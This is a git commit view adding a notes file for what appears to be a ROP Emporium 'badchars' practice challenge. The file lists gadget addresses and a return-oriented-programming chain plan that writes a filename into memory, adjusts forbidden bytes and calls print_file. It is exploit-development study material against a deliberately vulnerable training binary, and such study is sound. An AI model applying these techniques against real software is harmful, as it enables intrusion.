diff options
author | Brett Weiland <brett_weiland@bpcspace.com> | 2020-12-16 21:33:39 -0600 |
---|---|---|
committer | Brett Weiland <brett_weiland@bpcspace.com> | 2020-12-16 21:33:39 -0600 |
commit | 3f54969f581fd311c09b1c21758ad9aa4a8784f4 (patch) | |
tree | 355475d185371a41f66154649b3526367069a52c /x86_64/badchars/usefullstuff | |
parent | 3f0a1e64c7e7b410ad5f4e2024cd692536389449 (diff) |
new file: x86_64/badchars/exploit.py
new file: x86_64/badchars/exploit_dirty.py
new file: x86_64/badchars/usefullstuff
deleted: x86_64/write4/.exploit.py.swp
deleted: x86_64/write4/.useful_gadgets.swp
modified: x86_64/write4/exploit.py
Diffstat (limited to 'x86_64/badchars/usefullstuff')
-rw-r--r-- | x86_64/badchars/usefullstuff | 40 |
1 files changed, 40 insertions, 0 deletions
diff --git a/x86_64/badchars/usefullstuff b/x86_64/badchars/usefullstuff new file mode 100644 index 0000000..78cd6e8 --- /dev/null +++ b/x86_64/badchars/usefullstuff @@ -0,0 +1,40 @@ +0000000000400628 <usefulGadgets>: + 400628: 45 30 37 xor BYTE PTR [r15],r14b + 40062c: 45 00 37 add BYTE PTR [r15],r14b + 400630: 45 28 37 sub BYTE PTR [r15],r14b + 400634: 4d 89 65 00 mov QWORD PTR [r13+0x0],r12 + +print_file@plt: 0000000000400510 + +0x00000000004006a0 : pop r14 ; pop r15 ; ret + +1: 0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret <-- to set registers +1: + r12: "flae-txt" + r13: 0x601be0 + r14: 1 + r15: 0x601be4 + +2: 0x0000000000400634 : mov qword ptr [r13], r12 ; ret + +3: 0x000000000040062c : add [r15], r14 + +4: 0x00000000004006a0 : pop r14 ; pop r15 ; ret + r14: 1 + r15: 0x601be5 + +5: 0x00000000004006a3 : pop rdi ; ret + rdi: 0x601be0 + +6: 0x0000000000400510 : print_file@plt + + + + +0x00000000004006a3 : pop rdi ; ret + + +.init_array: 0x601be0 [safe] + +we cant use: 'x', 'g', 'a', '.' +['0x78', '0x67', '0x61', '0x2e'] |